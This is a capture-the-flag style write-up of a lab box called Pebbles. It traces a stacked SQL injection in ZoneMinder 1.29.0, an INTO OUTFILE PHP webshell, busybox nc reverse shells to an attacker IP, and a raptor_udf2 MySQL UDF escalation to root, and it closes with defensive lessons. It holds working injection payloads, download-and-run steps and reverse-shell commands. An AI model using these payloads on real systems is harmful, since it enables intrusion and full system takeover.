Pebbles
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. Pebbles hides a ZoneMinder 1.29.0 on port 3305. That version carries a stacked-queries SQL injection in thelimitparameter: we confirm it blind withSLEEP()and turn it into RCE by writing a webshell withINTO OUTFILEunder the docroot. The shell lands aswww-data, but the file MySQL wrote is owned byroot: the daemon runs as root. That opens the door to a MySQL UDF abuse (raptor_udf2), which runs commands in that context and hands us a root shell.
Recon
Initial scan
The ping TTL hints at the OS before we even scan.
ping -c 1 192.168.175.5264 bytes from 192.168.175.52: icmp_seq=1 ttl=61 time=29.4 msTTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan. We scan all ports, then fingerprint services.
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.175.52PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
3305/tcp open http
8080/tcp open httpnmap -p21,22,80,3305,8080 -sCV 192.168.175.52 -oN targetedScanPORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Pebbles
3305/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
8080/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-favicon: Apache Tomcat
|_http-title: TomcatFour web services and an SSH. Port 80 serves a page named Pebbles, 8080 is a Tomcat, and 3305 shows the Apache default page, which almost always hides something under a path. We enumerate it.
HTTP - TCP 3305
The 3305 front page is the Apache default, so we fuzz directories.
gobuster dir -u http://192.168.175.52:3305/ -w directory-list-2.3-medium.txt -t 200 -b 404/javascript (Status: 301)
/zm (Status: 301)
/server-status (Status: 403)/zm is the typical directory of ZoneMinder, a video-surveillance system. The console loads without asking for authentication and, better still, reveals the exact version in the header.

ZoneMinder Console - Running - default v1.29.0. With product and version, we look for known flaws.
searchsploit 'ZoneMinder'Zoneminder 1.29/1.30 - Cross-Site Scripting / SQL Injection / Session | php/webapps/41239.txtAdvisory 41239 documents several vulnerabilities in 1.29/1.30. The one we want is a SQL injection in the limit parameter of index.php, of the stacked queries type (it allows chaining statements).
2)SQL Injection
Parameter: limit (POST)
Type: stacked queries
Payload: view=request&request=log&task=query&limit=100;(SELECT * FROM (SELECT(SLEEP(5)))OQkj)#...Shell as www-data
ZoneMinder 1.29.0: the SQL injection
Before trusting the advisory, we confirm the injection blind with the time trick: if injecting SLEEP(5) delays the response five seconds and SLEEP(10) delays it ten, the database is running what we inject.
time curl -X POST 'http://192.168.175.52:3305/zm/index.php' --data 'view=request&request=log&task=query&limit=100;(SELECT * FROM (SELECT(SLEEP(5)))OQkj)#&minTime=1466674406.084434'
time curl -X POST 'http://192.168.175.52:3305/zm/index.php' --data 'view=request&request=log&task=query&limit=100;(SELECT * FROM (SELECT(SLEEP(10)))OQkj)#&minTime=1466674406.084434'
real 5.19s (SLEEP(5))
real 10.19s (SLEEP(10))The times match to the second: the injection is real and, being stacked, lets us launch our own statements, not just read data.
From SQLi to RCE: INTO OUTFILE
With stacked queries and, as we will see, a MySQL account holding the FILE privilege, the next jump is to write a file to disk. Drop it under Apache's docroot and it becomes a PHP webshell. That is exactly what SELECT ... INTO OUTFILE does.
view=request&request=log&task=query&limit=100;SELECT "<?php system($_GET['cmd']);?>" INTO OUTFILE "/var/www/html/webshell.php"#&minTime=1466674406.084434The server answers 200 OK. The webshell is in place.

We set a listener and ask the webshell to send us a shell. The payload uses busybox nc against port 80, a port the box does let out.
Before triggering the shell, we set up an nc listener:
nc -nlvp 80http://192.168.175.52:3305/webshell.php?cmd=busybox nc 192.168.45.239 80 -e shThe callback lands as www-data.

Shell as root
A hint: the file was written by root
Before reaching for the usual escalation paths, one observation solves almost everything. We check who owns the webshell we just wrote.
ls -l webshell.php
-rw-rw-rw- 1 root root 30 Dec 31 11:24 webshell.phpWe wrote it ourselves from the injection, but the owner is root. The reason is simple: INTO OUTFILE creates the file as the MySQL process user, and that process runs as root. We confirm with ps.
ps aux | grep mysqld
root 1113 ... /usr/sbin/mysqldThe database engine running as root is the key: if we can get MySQL to run a command, that command will be root. That is the definition of UDF abuse. We check the server version.
mysql --version
www-data@pebbles:/var/www/html$ mysql --version
mysql Ver 14.14 Distrib 5.7.30, for Linux (x86_64) using EditLine wrapperThe version matters for two reasons: it pins the architecture (x86_64) the UDF .so has to be compiled for, and it confirms a 5.7 branch, where the plugin directory is still writable by the daemon itself, which is exactly what the attack needs.
MySQL UDF: raptor_udf2
The user-defined function abuse consists of loading a shared library that registers a SQL function (do_system) able to run system commands. The classic one is raptor_udf2, from exploit-db.
searchsploit -m linux/local/1518.c
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o -lc
echo 'busybox nc 192.168.45.239 80 -e sh' > bash.sh
python3 -m http.server 80From the www-data shell we download the library and the script into the temp directory.
wget http://192.168.45.239/raptor_udf2.so -O /tmp/raptor_udf2.so
wget http://192.168.45.239/bash.sh -O /tmp/bash.shNow, through the same SQL injection (which talks to root's MySQL), we create the do_system function: drop the .so into a table, dump it to MySQL's plugin directory with dumpfile, and register it as a function.
view=request&request=log&task=query&limit=100;create table foo(line blob); insert into foo values(load_file('/tmp/raptor_udf2.so')); select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; create function do_system returns integer soname 'raptor_udf2.so';
With nc listening on 80 again for the root callback:
nc -nlvp 80With the function registered, all that is left is to call it so MySQL (root) runs our bash.sh.
view=request&request=log&task=query&limit=100;select do_system('/bin/bash /tmp/bash.sh');#&minTime=1466674406.084434The callback comes in, this time as root. (The box was redeployed between sessions and reappeared on IP 192.168.147.52; the technique is identical.)

proof.txt
whoami && cat /root/proof.txt && hostname
root
8d3a511fe06b43c9d36e9c7daec09ff5
pebblesAttack chain
nmap ──> 3305/tcp: /zm ──> ZoneMinder 1.29.0
│ stacked-queries SQLi in 'limit' (confirmed with SLEEP)
v
SELECT ... INTO OUTFILE ──> webshell.php in /var/www/html
│ ?cmd=busybox nc ... 80 -e sh
v
shell as www-data
│ webshell.php owned by root ──> mysqld runs as root
v
MySQL UDF (raptor_udf2 -> do_system) ──> do_system('/bin/bash bash.sh')
v
shell as root ──> proof.txtLessons learned
- A stacked SQLi with the
FILEprivilege is code execution.INTO OUTFILEdrops a webshell under the docroot and turns data reads into RCE. The defence is parameterised queries and a database account with noFILEand no opensecure_file_priv. - The owner of a file a service writes betrays which user it runs as. The webshell came out as root: that, not a linpeas (repo) run, is what flagged MySQL as the path to root.
- Never run the database engine as root. With
mysqldas root, a UDF abuse hands over the whole system. Running asmysqlwith least privilege, the same flaw stays a service shell. - Confirm the vulnerability before exploiting it. The
SLEEP(5)/SLEEP(10)validated the blind injection at near-zero cost, before building the rest of the chain.